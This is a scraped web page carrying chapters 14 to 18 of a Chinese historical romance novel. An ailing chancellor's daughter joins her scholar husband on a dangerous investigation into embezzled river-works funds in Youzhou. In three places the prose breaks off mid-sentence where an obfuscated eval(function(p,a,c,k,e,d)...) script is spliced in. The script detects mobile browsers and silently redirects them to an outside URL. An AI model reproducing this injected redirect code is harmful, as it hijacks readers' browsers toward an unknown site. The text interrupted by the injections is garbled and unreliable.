秦砚连忙单膝跪地,恭敬道:“陛下谬赞,臣愧不敢当。” 皇帝眯着眼睛,居高临下地打量着他:“穆相真该好好感谢朕,为他选了个文武兼备,知礼识趣的好女婿。” 相府花园里,枝头抽出嫩芽,百花含苞待放,一片春意盎然的景色。 花团锦簇中,穆卿云今日穿了一身粉荷色的襦裙,坐在廊下的美人靠上。明明天气已经渐暖,但她却仍是离不开大氅和手炉。 她伸出手,指尖拖着一枚鲜嫩欲滴的花苞。 如今已是春天了。这幅残破的身子,竟然又熬过了一个冬。 穆卿云不禁自嘲地想,从幼时起,宫中太医就曾断言,她这身子绝对活不过及笄之年,但她还是咬牙撑了下来。 一年一年咬牙硬挺,竟也撑到了现在。 一阵温柔的春风拂过,指尖的花苞轻轻颤了颤。 穆卿云眉心一蹙,连忙抽回手,捏住帕子掩住嘴唇。弯腰闷咳了好一阵子,她看着帕子上的点点嫣红,竟然跟园子里的春色有几分相似。 只不过一个代表生机,另一个却象征着她的生命已然快要走到尽头。 这种苟延残喘的日子已经过了太久,穆卿云早已看淡生死。 相府诸事都已经安排妥当,各处机要职位也都已经安排了最合适的人选,子钰的学业已经走入正轨,至于秦砚……照现在的势头看来,扛起相府这杆大旗也是指日可待。 所以,即便此刻离去,大概也了无牵挂了。 她淡然收起帕子,心想,不知道今日春猎,秦砚那边情况如何,算着时辰,应该也快结束了吧。 知微不知道带来了什么好消息,脸上带着兴奋的笑意,朝她一路小跑过来。 “小姐!姑爷今日在围场大出风头!还得了皇上的奖赏呢!” “是吗?” 穆卿云轻笑,低下头,看着自己指尖,方才被触碰的花苞染上的一抹绿色汁液。 知微停在她面前,喘匀了气,继续道:“春猎已经散了,估摸着他应该也快到家了!” “在外奔波一日也该累了,你去吩咐厨房做几道他爱吃的菜,给他接风。” “好嘞,奴婢这就去!” 知微欢快地应了一声,转身刚跑了没几步,就碰见了匆匆赶回来的秦砚。 他回来得匆忙,甚至连衣服都还没来得及换,还穿着那身英气勃勃的骑射服,倒衬得他有些不同以往的挺拔俊朗。 知微笑着停下脚步,扭头对穆卿云大喊:“小姐!姑爷回来啦!” 穆卿云在一片繁花似锦的背景下回过头,对秦砚露出了一个温柔的笑容。 落英轻沾她的衣袂,眉眼柔婉似含烟,犹如月下清莲,不染尘俗,轻轻一绽便动人心弦。 秦砚怔了怔神,缓步上前,在她面前单膝跪地。 “小姐,我回来了。” 穆卿云望着他一身风尘,唯独一双眼睛依旧澄澈坚定,心头忽然涌上一股难以言说的滋味。 “嗯,回来就好。” 15. 第 15 章 相府,花园临水的亭子里,案上摆着一张棋盘。 穆卿云和秦砚正在执子对弈,穆子钰则在一旁摆弄他新得的鲁班锁。 秦砚从前只知道些浅显的棋理,实战并不熟练,所以格外慎重,每落一子都要思索半晌。 穆卿云端着一盏热茶,静静看着,也不催促,只等他慢慢想好。 穆子钰看了眼姐姐的脸色,偷偷凑到她身侧,低声求助:“阿姐,这一步应该怎么解开啊?帮我解一下嘛……” 穆卿云还没开口,对面的秦砚却头也不抬道:“我们约好了通关才能换新玩具,找人帮忙可不算数。” 没想到他眼睛盯着棋局,耳朵还这么尖,穆子钰噘起嘴重重哼了一声,扭头自己上一边研究去了。 穆卿云拢了拢肩头的大氅,低头笑而不语。 秦砚盯着棋盘,在心里推算了许久,终于无比慎重地落下一子。 穆卿云放下茶盏,淡淡瞥了一眼棋局,拈起一枚白子轻轻落下。 只一招,就彻底瓦解秦砚的所有布局,攻守逆转,胜局已定。 秦砚呆滞地看着棋盘,心里从困惑到震惊,最后恍然大悟般猛地拍了拍脑门。 “妙啊,小姐当真棋高一着!” “下棋如用兵,秦公子是初学,不必气馁。” 穆卿云笑着安慰他,偏头闷咳了两声,强忍住喉咙里涌上的腥甜。 穆子钰见状,十分有眼力见地为阿姐添上热茶。 穆卿云接过茶盏,欣慰地揉了揉弟弟的脑袋。 秦砚指尖抵着下巴,还在复盘先前这场棋局。 “听闻京中每年都会举办弈林会,若是小姐肯下场一试,那岂不是能轻轻松松拔得头筹?” “棋会高手如云,我这点微末棋艺算不得什么。” 穆卿云又忍不住咳了两声,脸色也更苍白了些,“况且……我已经很久没有下过一盘完整的棋了。” 秦砚下意识问:“为何?” 一旁的穆子钰抢着回答:“久坐耗神,因为姐姐身体不好,撑不了那么久。” 秦砚这才后知后觉地醒悟过来,连忙起身道:“晚生愚钝,今日打扰小姐歇息,实在不该。” 穆卿云抬手往下压了压,示意他坐下。 “秦大人不必多虑,今日兴致尚可,再坐一会儿也无妨。” 还没等秦砚松口气,穆子钰就补了一刀:“因为你棋艺太差啦!我阿姐陪你下棋,根本不用费什么力气。” 秦砚:“……” 穆卿云掩唇轻笑:“这两年子钰的棋艺倒是长进不少,往后秦大人若是想练手,不妨先跟他过几招。” 穆子钰叉着胳膊,得意地指了指自己:“想赢我阿姐,得先过我这关!” 那小大人般趾高气扬的模样,倒是引得秦砚和穆卿云相视一笑。 春日午后,气氛和煦而安宁。 秦砚看着穆卿云苍白伶仃的手腕,在心里斟酌半晌,还是问道:“小姐身子一直不见好,为何不再多找些大夫来瞧瞧?” 穆卿云扭头盯着湖面上的波纹,轻声道:“从我记事起,一日三餐就没有断过药。如今你能看到我还好好地坐在这里下棋,已经是靠着相府倾力供养之下,最好的结果了。” 秦砚看到她脸上那种看破一切之后的淡然,心中不甘更甚。 “既然京中大夫束手无策,那为何不从民间再想想办法?” 天下名医寻遍,也无非只是拖延时日罢了。她这幅身子,恐怕只有大罗神仙才能妙手回春了。 或许她也曾抱有过期待,但一次次的失望落空,一次次的旧疾复发,永无休止的汤药和病痛,已经让她心灰意冷,觉得有朝一日若能解脱,也未尝不是一件幸事。 穆卿云没有接话,只是轻轻笑了笑。 春天到了,天气渐暖,她只盼着,这幅摇摇欲坠的身体,能再多撑上一阵子,再陪他们久一些就好了。 岁月静好的日子还没有过上几天,朝堂之上风云再起。 两年前,幽州大旱,饥民遍地。朝廷为赈灾并兴修水利以绝后患,特拨八十万两河工银,修筑永定河堤坝。此款项由户部拨出,工部规划,地方执行。 然而,河堤草草完工即被夏汛冲毁,数十万灾民未得救济反遭水淹,死伤惨重,民变在即。 大朝会上。 穆相手持紧急奏报,悲愤交加地控诉:“陛下!幽州急报!八十万两河工银拨付不到半年,所谓‘固若金汤’的新堤竟一冲即溃!数十万百姓流离失所,饿殍遍野!这哪里是天灾,这分明是人祸!臣请立刻彻查,严惩蛀虫!” 此言一出,金銮殿内不明真相的官员立刻开始交头接耳,窃窃私语。 站在人群中的秦砚攥紧了手中的笏板,心中隐隐察觉此事必然牵涉极深,恐怕难以善了。 “丞相何出此言?” 皇帝还未开口,温太傅却缓步出列,反驳道,“天威难测,夏汛凶猛,或有不及,岂可一概归咎于人?河工银拨付,户部有账。工程规划,工部有图。具体施工,乃幽州地方之责。丞相不问缘由,直指朝廷有‘蛀虫’,莫非是影射我户部、工部、乃至地方官员尽皆无能贪腐?” 穆相冷笑一声,步步紧逼:“太傅好一张利口!臣只说彻查,太傅便急着跳出来替户部工部撇清干系。怎么,是怕这把火当真烧到自己人身上吗?” 温太傅面色一沉,旋即又扯出个皮笑肉不笑的表情,“丞相不必血口喷人。老夫不过是就事论事。河堤溃决,原因繁多。或许是夏汛百年一遇,或许是勘测有误,或许是天意如此。丞相却一口咬定是人祸,莫非是未卜先知?” 穆相扬了扬手中奏报,“幽州急报在此,白纸黑字写得清清楚楚!堤身多处未见石灰灌浆,夯土松散如沙,分明是偷工减料!这等劣迹斑斑,太傅还要替他们遮掩不成?” “那是幽州地方的事!户部拨银分毫不差,工部图纸样样齐全。若真是偷工减料,也是地方官员胆大包天,与朝廷何干?” “好一个与朝廷何干!”穆相怒极反笑,“户部拨银,可曾派人核验?工部出图,可曾派员监理?层层失守,处处漏洞,如今出了事就想推给地方。太傅当天下人是瞎子吗?” 温太傅被他噎住,脸色青白交加,半晌才咬牙道:“丞相这是非要往朝廷命官身上泼脏水了?” 穆相寸步不让:“臣只想还幽州百姓一个公道!” 两人对峙而立,殿内鸦雀无声。 高坐龙椅之上的皇帝终于开口,声音不辨喜怒:“够了。” 两位重臣同时垂首。 皇帝的目光从穆相脸上缓缓移到温太傅脸上,“一个说人祸,一个说天灾。一个要彻查,一个要推诿。朕该听谁的?” 大殿内鸦雀无声,无人应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524729|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答。 此时,秦砚忽然出列,手持笏板上前一步。 “臣有本要奏!” 皇帝似是有些意外,眯了眯眼睛,“准奏。” 秦砚深吸口气,不卑不亢道:“陛下!太傅所言,乃追究事后责任。然当务之急,是安抚灾民,防止民变!无论天灾人祸,朝廷应立即拨付第二批赈灾款与粮食,并派得力干员前往,一则救灾,二则查明河工银款与工程虚实!” “嗯……” 皇帝略作沉吟,微微颔首,“所言有理,那依诸位爱卿之见,派谁去查最为合适?” 温太傅见状,干脆顺水推舟:“状元郎心系黎民,精神可嘉。陛下,老臣附议,既然秦修撰如此忧国忧民,不如就任命他为钦差大臣,总管幽州赈灾,河工重建及一应调查事宜。” 这一招可谓以退为进,阴险至极。 把一大堆烂摊子直接丢给秦砚,若他不敢接旨,就可以扣上畏难避事,空言误国的罪名,若他硬着头皮接下了,正好也能趁机借刀杀人。 穆相心头一震,连忙出列阻拦:“陛下!秦修撰入仕未久,资历尚浅,老臣以为,此事还需从长计议……” 温太傅立刻打断他:“既然丞相认为秦修撰不合适,那您心中可还另有合适人选?” “这……” 事发突然,进宫之前穆相只来得及匆匆跟女儿商议了几句,未曾想到情况变化得如此之快。 温党步步紧逼,处处设套,没有穆卿云在背后出谋划策,此刻他腹背受敌,一时竟难以应对。 秦砚深知自己已是无路可退,只得挺直脊梁沉声领命:“臣,愿往幽州。” 皇帝目光沉沉地打量着这位初生牛犊不怕虎的状元郎,缓声道:“好,朕准了。望你莫负圣恩,给幽州百姓一个交代,也给朝堂诸公一个明白!” “糊涂!” 相府书房,穆相一把砸了茶盏,气得面色铁青。 “你知道那幽州是什么地方吗?也敢领命前往?是不是读书读傻了?” 秦砚被骂得不敢抬头,一声不吭地垂首站在书案前。 “爹爹息怒。” 穆卿云坐在一旁的软榻上,叹了口气,“温太傅摆明了就是要借机除之,秦大人也别无选择。况且河工贪腐案牵连甚广,我们躲得了一时,躲不了一世。与其被动挨打,倒不如主动入局,寻一线生机。” 穆相听完女儿的话,深吸口气,强行压下怒火。 “那现在该怎么办?难不成真的让他去送死?” 秦砚抬头看了穆卿云一眼,坚决道:“此事因我而起,秦砚愿一力承担,绝不拖累相府!” 穆相瞪了他一眼,转身撑住桌角,重重叹了口气。 穆卿云倒没有半分慌乱,面上还是一派从容,“事在人为,也许情况并没有想象中那么糟。” 此言一出,屋里的两人都扭头看了过来。 “幽州乃是边境要地,兵马与漕运,一直都是由温党一系牢牢把控。我们若想撕开世家的层层封锁,那幽州应当会是一个不错的突破口。” “话虽如此,但温党盘踞多年,他们定然早有防备,上上下下都铁板一块,要想从中破局,谈何容易?” “没错,此事仅靠秦大人一人之力,确实难如登天。” 穆卿云缓缓站起身,一字一句道,“所以此行,我也会一同前往。” 16. 第 16 章 “不可!” “不可!” 她话音刚落,秦砚和穆相同时出声反对。 秦砚急切上前,连礼数都不顾了,“万万不可,小姐体弱,若因为此事有个闪失,那秦某万死难辞其咎!” 穆相胡须抖了抖,像是顷刻之间,明白了女儿的用意。滚烫的泪水立刻就模糊了视线,他连忙转过身去,强忍着生怕被女儿发现。 “秦大人,此事关乎全局,兹事体大,并非意气用事的时候。” 穆卿云平静地看着他,又对他笑了笑,“我既主动提出同行,那便是已有了万全的谋划。我对自己的身体最是了解,无论如何也不会逞强的。” “那也不能……” 秦砚充耳不闻,急得额头冒汗,还想再说些什么,穆相却忽然从后面抓住了他的手臂,对他扬了扬下巴。 “你先出去吧,我跟时雨好好谈一谈。” 秦砚自觉没资格留在这里说话,只好躬身退了出去。 等到书房门彻底关上,穆相才缓缓转过身,让自己的声音尽量平稳下来。 “时雨,你是怎么想的?” “爹爹心里清楚,我们现在要想扳倒太傅,根除世家这颗毒瘤,还差最重要的一颗棋子。” 穆卿云扶着桌案站起身,平静直视着父亲的眼睛,“而幽州,就是破局的关键所在。” “可你……” 穆相欲言又止,满眼都是心疼和不忍。 穆卿云知道他想说什么,垂头轻声道:“爹爹,服药多年,久病缠身,日日受病痛煎熬,女儿已经被折磨得够久了,真的够了……” “时雨!别说了!” 穆相意识到女儿已存了死志,立刻试图打断她的话。 “若此行能为相府搏出一条生路,那女儿就死而无憾了。” 穆相仰头叹息,身体微微晃了晃,几欲站不稳,“时雨……这些年,是爹爹对不住你……” “这便是女儿的命,我知道爹爹已经尽力了。” 穆卿云勉强提起唇角,眼眶却也有些湿润,“就这一次,爹爹,就让女儿去吧。” 秦砚垂首站在廊下,脑中回荡着穆卿云先前说的话,满心都被无尽的懊悔填满。 温太傅是冲着他来的,若是穆卿云为了帮他收拾烂摊子而有个三长两短,那他这辈子都不会原谅自己。 不知过了多久,身后的书房门开了。 穆卿云看见秦砚孤零零站在廊下的背影,轻轻唤了一声:“秦大人?” 听见声音,秦砚下意识转过头,恰好被她看见通红的眼眶。 穆卿云也有些惊讶,不过转念一想,毕竟他今年不过也才十九岁,还是个未经历过多大风浪的少年郎,一时情绪失控也很正常。 她叹了口气,温声道:“到沁芳院书房去吧,我有些话要跟你说。” 秦砚连忙背过身,用袖子飞快抹去眼泪,哑着嗓子应了一声。 这几个月秦砚一直住在书房,穆卿云不常过来。 但即便如此,里面的陈设器物都还是整整齐齐,一尘不染,就连桌上的笔砚纸墨,都还是依照着她往日的老样子放置的,位置分毫不差。 穆卿云走到书架前,看着秦砚用竹片做的标签,笑着问:“这些案卷典籍你都看完了?” 秦砚点了点头,闷闷地“嗯”了一声。 穆卿云回头看了他一眼,缓步走到书桌前坐下。 “秦大人,虽然我知道你也是一片好意,但是有些事情,我觉得还是应该跟你说清楚。” 秦砚神色一凛,垂在身侧的手指微微蜷缩起来。 “首先,你是相府的人,所以温太傅今日当众逼你接旨,针对的不是你秦砚,而是我相府。” 她说话不带笑的时候,眉眼沉静,莫名有种不容置喙的压迫感,让秦砚不由脊背绷紧,大气都不敢出。 “其次,我决定要去幽州,不是为了替你担险,而是为了抓住这难得的破局之机,将来好彻底拔除盘踞朝堂已久的世家这颗毒瘤。” 穆卿云说完,见秦砚还愣在原地,没什么反应,于是又放缓语气,问了句:“我说清楚了吗?秦大人?” “清,清楚。” 秦砚结结巴巴道,“我只是担心……” 穆卿云截过他的话头:“你只是担心我身子太弱,经不起长途奔波,到时候会成为你的负累?” “怎会?!” 秦砚立刻反驳,但却又在看见她那双笑意盈盈的眼睛时,才意识到她是在逗自己开心。 “怎么……小姐智计无双,运筹帷幄,无论走到哪里,都是所有人的主心骨。” 穆卿云笑了笑,忽然想到什么,指了指书架最上层,对他说:“从上数第三格后,有个匣子,劳烦秦大人替我取来。”、 秦砚顺着她指的方向看过去,木格深处,果然看到了一个檀木匣子。 他把那匣子取了下来,轻轻放在书桌上。 穆卿云打开匣子,里面放着满满一沓的纸张。 “这是我从小到大,喝过的药方,太医的脉案,还有各路名医的诊断。” 秦砚瞳孔微微放大,难以想象这些纸张是如何记录下了她这些年的挣扎。 “我七岁时,宫里最好的太医就曾断言,我先天不足,病根难除,绝对活不过十二岁。” 穆卿云从匣子底部翻出一张泛黄的旧脉案,笑道,“后来……我爹又找来了江南的神医,但那位神医也说,我最多只能活到来年入冬。” “但我都挺过来了。” 穆卿云忽然倾身靠近秦砚,微凉的手指握住他的手掌。 “你看,我现在不是还好好的吗?那些大夫的话都算不得数,我的命数只有我自己说了才算。” 秦砚浑身僵住,只觉得手掌上被她握住的地方好像结了冰,又好像着了火,心跳乱得不成章法,让他不敢动弹,更舍不得挪开。 不过这点微不足道的接触,的确让他感受到了些许慰藉。 就好像一直以来只能远远望着的,惴惴不安的,不敢靠近的,藏在心底的,此刻终于有了归处,就落在掌心。 穆卿云盯着他的眼睛,还在缓缓靠近。 “有一年我在护国寺上香,还遇见了一位游方高僧,他说我寿数虽薄,但此生会有一场殊胜机缘,我觉得……那个机缘,说不定就是你呢。” “真的?” 秦砚声音在发颤,耳畔在轰鸣,脑子已经无法思考,动作全凭本能。 他感觉到自己的嘴唇在开合,但却不知道自己说了什么。 他眼里只有越来越近的那双眼睛,整个人像是被巨大的狂喜击中,受宠若惊,心跳剧烈得简直要冲破胸膛。 他喉间一滚,终于挣断了最后一根理智的弦,闭上眼睛,主动朝她靠了过去。 想象中的触碰却并未到来,穆卿云停在离他一寸的地方,忽然笑出了声。 “秦大人,你脸怎么这么红?” 秦砚骤然睁开眼睛,慌忙仰身,迅速捂住自己的嘴巴,“我……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530158|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年郎的心动总是不言而喻,穆卿云看在眼里,却有些怅然地叹了口气:“总之,就这么说定了,我们三日后动身,秦大人早些准备吧。” 说完,她就起身离开了书房,只留下呆愣原地的秦砚半晌回不过神,慌乱地平复着狂跳不止的心。 回想着刚刚发生的一切,秦砚不禁懊恼地捶了捶脑袋。 不过就是握了个手,怎么就被她撩得乱了心神,忘了正事? 可是…… 他垂下眼,低头看着自己的手,被她握过的触感似乎还残留在掌心里。 他微微蜷起手指,像是回握住了那一抹微凉的温柔。 “您就这么同意了?” 邵同光听完穆相说的话,惊愕得简直合不拢嘴。 “小姐那是什么身子,怎能以身犯险,去那虎狼之地?” 穆相坐在太师椅上,疲惫地摇了摇头:“这是时雨自己的决定,连我也干涉不了。” 邵同光上前一步,急切道:“相爷,幽州距离崇安城千里之遥,一来一回就得数月之久,沿途山高路险,匪患未除。此次深入温党腹地,太傅那帮人肯定早有准备,布下了天罗地网,就等着我们往里跳,小姐不能去啊!” 听完他的话,穆相脸上的愁容更甚,连皱纹都仿佛又深了几分。 “你说的这些我何尝不知?同光,若可以选择,我宁愿替时雨承受这一切。” 邵同光看着他布满血丝的眼睛,忽然哽住,再也说不出多的话。 书房外,躲在门边偷听的穆子钰攥紧拳头,立刻转身跑向沁芳院。 “阿姐!” 穆卿云正在和知微清点此次出行要带的行李,就听见穆子钰气喘吁吁的喊声。 “阿姐!” 穆子钰跳过门槛,直接冲进穆卿云怀里,紧紧搂住她的腰。 “你要去哪儿?不要离开子钰!” 穆卿云接住怀里的小家伙,对知微使了个眼色,让她先退下。 “我才刚定下行程,你这消息倒是灵通。” 穆子钰不管不顾地把脸埋在她衣襟上,委屈道:“阿姐不要走,我不想让你去那么危险的地方。” 穆卿云轻抚他的背,温柔道:“阿姐只是出趟远门,又不是不回来了。就跟之前去别院小住一段时间一样,不会有事的。” 之前去别院是为了养病,而这次出门却是深入险地,查案斗奸。 穆子钰如今已经不是那么好糊弄的小孩,说什么也不肯松口。 眼看哄不住了,穆卿云只好无奈道:“子钰,人生在世,有些事总要有人去做。就像你要读书明理,要习武强身,阿姐也有自己必须要去做的事情。” 穆子钰把整张脸都埋在她身前,赌气似得闷声说:“那让秦砚自己去!你就留在家里陪我!” “子钰,听话。” 穆卿云强行把粘在自己身上的小家伙拉开,用手帕帮他擦去满脸的泪水。 “阿姐处理完那边的事情就会尽快回来,保证不会让你等太久,好吗?” 穆子钰清楚只要是阿姐决定了的事,谁也拦不住,于是捂着眼睛哭得更伤心了。 “那你要早点回来……呜呜呜……每天都要跟我写信,一天都不能少,不许骗我,更不许受伤……” “好……好。” 穆卿云俯身抱住嚎啕大哭的弟弟,心底一片酸涩。 她的弟弟尚且年幼,还如此依赖她,需要她,离不开她,这让她如何能毫无牵挂地放手? 17. 第 17 章 三日后,钦差队伍整装待发。 卫凛一早便全副武装,等在相府门口,一看见穆卿云出来,便立刻迎了上去。 “时雨,你想好了?真要亲自去这一趟?” 穆卿云看着知微带人往马车上搬着行李,笑道:“有你卫大将军一路随行,还怕路上有什么闪失吗?” 卫凛瞥了眼一旁的秦砚,侧过身凑近穆卿云道:“我带着秦砚去查也是一样的,你何必非得亲自涉险?” 穆卿云难得俏皮地揶揄道:“让你们两个同行,我可不放心。” 他们两个又在说悄悄话了…… 秦砚低头整理着自己的行囊,假装不在意,但余光却控制不住地往那两人身上瞟。 卫凛叫她“时雨”,穆小姐每次跟卫凛讲话,都笑得那样开心,好像他们才是天造地设的一对,而自己只是半路横插一脚的局外人。 他正暗自神伤,忽然感觉有人扯了扯自己的衣袖。 穆子钰仰着小脸,认真地看着他:“秦砚,你要照顾好我阿姐,不要让她生病或者受伤,早点带她回来。” 秦砚下意识看了一眼不远处正在跟穆卿云说话的卫凛。 明明卫凛才是那个看起来更可靠的人,但穆子钰却偏偏选择托付自己。 他有点意外,又有点感动,抬手轻轻拍了拍穆子钰的肩膀。 “你放心,我一定会的。” 穆相也亲自送至门外,嘱咐道:“时雨,你平日里吃的药材我都让人多备了些,另外怕你万一路上有个头疼脑热,还让他们带了些应急的草药,以备不时之需。” “知道了,爹爹。”穆卿云笑着应下。 卫凛看出父女俩还有话要讲,于是识趣地拱手道:“我去整备车队与随行护卫,小姐若准备妥当,随时叫我。” 穆相微微颔首,引着女儿往僻静处走了几步,小心翼翼地从怀里拿出一只莹白的瓷瓶。 “时雨,这是我从青云观求来的三枚续命丹。” “那观主说,这丹药能在你撑不住的时候吊住一口气。服下一粒,可保七日精神如常,体力充沛,与常人无异。但药效过后,反噬极强,会让你本就亏空的身子更加虚弱,不到万不得已,切不可动用。” 这药于她而言,与其说是续命,不如说是催命。穆相心如刀绞,但明白女儿心意已决,故而不得不为她备上这条后路。 穆卿云接过瓷瓶,细细端详了一会儿才收入袖中。 “多谢爹爹,女儿记住了。” 正要上马车时,秦砚忽然瞥见角落处探出来两颗熟悉的脑袋。 他连忙放下手上的东西,快步过去,惊喜道:“尹兄,虞兄,你们怎么来了?” “你如今成了钦差大人,奉旨前往幽州查案,这一去怕是没有几个月回不来,我们自然要来送送你。” 尹都把一坛封装好的好酒递给他,笑着拍了拍他的肩膀,“此去一路保重,万事小心,回来后咱们兄弟再好好痛饮一番。” “对啊对啊!”虞英才在一旁连连点头,“等秦兄这趟回来,那可就是圣上面前的大功臣了,往后飞黄腾达,可别忘了咱们兄弟。” 秦砚明知此趟幽州之行凶险万分,并非什么风光的差事,但见着两位挚友前来送行,心里还是松快了不少。 “多谢两位兄弟,这份心意我记下了。” 虞英才踮起脚尖,伸长脖子,忽然瞥见了不远处马车旁的那道倩影。 他眼睛一亮,立刻想要凑上前去:“那是穆小姐吗?我去打个招呼。” “哎……” 秦砚手里拎着酒,只好用身体挡住他,“你的心意我会代为转达的,就不必亲自去了。” “我就跟穆小姐说两句话,你别这么小气嘛!” “不行,穆小姐还有要事准备,不便打扰……” 两人还在这边拉拉扯扯,车队前的卫凛已经翻身上马,不耐烦地冲秦砚喊道:“还磨蹭什么?准备上车出发了!” “来了!” 秦砚回头应了一声,匆匆跟两人告别:“二位保重,待我归来,再与二位相聚。” 尹都帮忙拉住还在挣扎的虞英才,笑着摆手道:“行了,快去吧,路上保重。” 钦差仪仗浩浩荡荡,踏过崇安城的青石长街,一路向北而去。 秦砚撩开车帘,看着渐行渐远的城门楼,心中无限怅然。 相府千金随行,羽林卫将军护送,此趟出京看似风光,送行者却寥寥。 即便站在路边围观的人,也是看热闹的多,真心相送者少。 卫凛一身劲装,带着一队精锐骑兵在队伍前头开路,肃杀凛然的气势,让沿途百姓纷纷避让。 穆卿云此行没有带太多随从,除了相府惯用的两名大夫,随行的丫鬟就只带了知微一个。 秦砚倚在车窗口,悄悄观察着前方那辆素色帷幔的马车。 兴许是太久没有出过门,穆卿云靠坐在软榻上,一手轻支着额头,心情还算不错。 只是卫凛每隔一个时辰就会放慢速度,勒马过来,问她身体如何,还受不受得住。 穆卿云实在不胜其烦,隔着帘子道:“将军专心赶路便是,我若撑不住,会派人告知,不必再问了。” 卫凛挠挠头,只好照办。 入夜,车队停在离京二百里外的驿站。 卫凛先行带人检查了驿站的里里外外,然后才安排穆卿云下车入住。 三人围坐在灯下,开始商议接下来的行路计划。 卫凛掏出一张地图在桌上摊开,手指虚虚画出一条路线。 “我们从崇安到幽州,全程千里之遥,若是走官道的话,中途会路过涿州,我计划在涿州落脚,休整人马,停留几日再动身。” 穆卿云微微颔首,沉吟片刻。 “若我没记错的话,涿州临水码头,扼守永济渠终点,是北方漕运枢纽。我们路过的话,也可以顺便查一查河工物料运输的账目,兴许能发现些蛛丝马迹。” 秦砚接过话头,提醒道:“涿州刺史谢永,出身清河谢氏,是温太傅的远房妻侄。此人早年得太傅举荐入仕,在地方熬了十几年资历,去年刚调任涿州。据说为官圆滑,左右逢源,在温党和相府之间两头讨好,是个不见兔子不撒鹰的角色。” “嗯……”穆卿云按了按胀痛的眉心,疲惫道,“看来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532576|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涿州,是非停不可了。” 几人正聊着,知微敲门进来,端上一桌热腾腾的饭菜。 虽然比不得相府的精致奢华,但也有荤有素,香气扑鼻。 在马车上颠簸了一天,穆卿云没什么胃口。但一想到这才刚开始,若是此刻便垮了身子,后面恐怕更难熬,所以只好强撑着拿起筷子,有一口没一口地吃着。 卫凛拿起汤勺,殷勤地起身帮她盛汤。 “这鸡汤味道不错,挺鲜亮的,尝尝看。” 低头夹菜的秦砚动作一顿,忍了一路的醋意瞬间上头,小发雷霆道:“卫将军有所不知,穆小姐近日喝的药里面有人参和川贝,与鸡肉同食会虚火上炎,加重咳嗽。” 穆卿云脸上闪过一丝讶异,抬头看了他一眼。 卫凛讪讪放下汤勺,低声嘀咕:“书呆子懂得还挺多……” 几人刚吃完饭,卫凛的贴身护卫就匆匆进来,递给他一封密报。 “这……” 卫凛打开扫了一眼,脸色骤变,连忙把信递给了穆卿云。 那密函上,赫然列着幽州刺史肖兴德贪墨河工银的详细账目。 时间、数额、经手人一应俱全,甚至还有他与温太傅往来的密信摘抄。证据链完整得如同精心编织的罗网,清晰得近乎刻意。 穆卿云看完,眉峰微蹙,又把密函递给了一脸好奇的秦砚。 秦砚越看越心惊,疑惑道:“我们才刚刚离京,这样关键的密报就到了我们手上。这是何人所为?暗中相助的盟友?还是温党故意抛出的诱饵?” 穆卿云面色凝重,叹道:“这是催命符,不是证据。看来他们已布好口袋,就等我们按这份‘证据’去查,一步步落入更深的陷阱。” 这才刚出崇安城,温党的试探就接踵而至,看来这一路上,注定不会太平。 “还是早点歇息,养足精神才能应对变数。” 穆卿云刚站起身,忽又叫住了准备出门的卫凛,“卫将军,今夜值守和巡逻可都安排好了?” “当然,”卫凛语气笃定,“从驿站外围,到小姐房前,我都派了人轮班守着,保证一只苍蝇也飞不进来。” 穆卿云转头看向桌上那封没有署名的密函,“这封信只是开胃菜,那些人只怕还有后手,将军务必打起精神,当心半夜偷袭。” “明白,今夜我亲自带人守着,要是有人敢来,定叫他有来无回!” 卫凛说完转身,见秦砚还站在原地发呆,没有要走的意思,于是一把揽住他肩膀,拽着他一同往外走去。 “还愣着干嘛?快走,别打扰时雨休息!” 秦砚艰难地回过头,却看见知微已经上前关上了房门,隔绝了他最后一丝留恋的视线。 出了院子,卫凛立刻松开手,嫌弃地看了他一眼,“行了,睡觉去吧,没事别出来乱晃,半夜遇着歹人我可不管。” 秦砚无奈地叹了口气,今日一整天还没跟穆小姐好好说上几句话。 每次刚找到机会开口,就被这卫凛强行打断,像是故意跟他作对似的。 不过想着来日方长,此刻也不是闲话的时候,所以只好闷闷地回了自己房间。 18. 第 18 章 夜深人静,驿站内外万籁俱寂。 卫凛抱着刀靠在院门外的廊柱上,眼皮虽然阖着,耳朵却一直留意着四周的动静。 这是他行伍多年养成的习惯,再累也不敢睡死。 子时刚过,一阵极轻的脚步声从墙角传来,快得几乎让人难以捕捉。 卫凛猛地睁开眼,手指按上刀柄。 “有异动!戒备!” 话音未落,几道黑影便从墙头翻跃而下,手持利刃,动作利落,显然是训练有素的刺客。 卫凛冷笑一声,抬手打了个手势。埋伏在暗处的护卫瞬间暴起,刀光闪过,喊杀声骤然炸响。 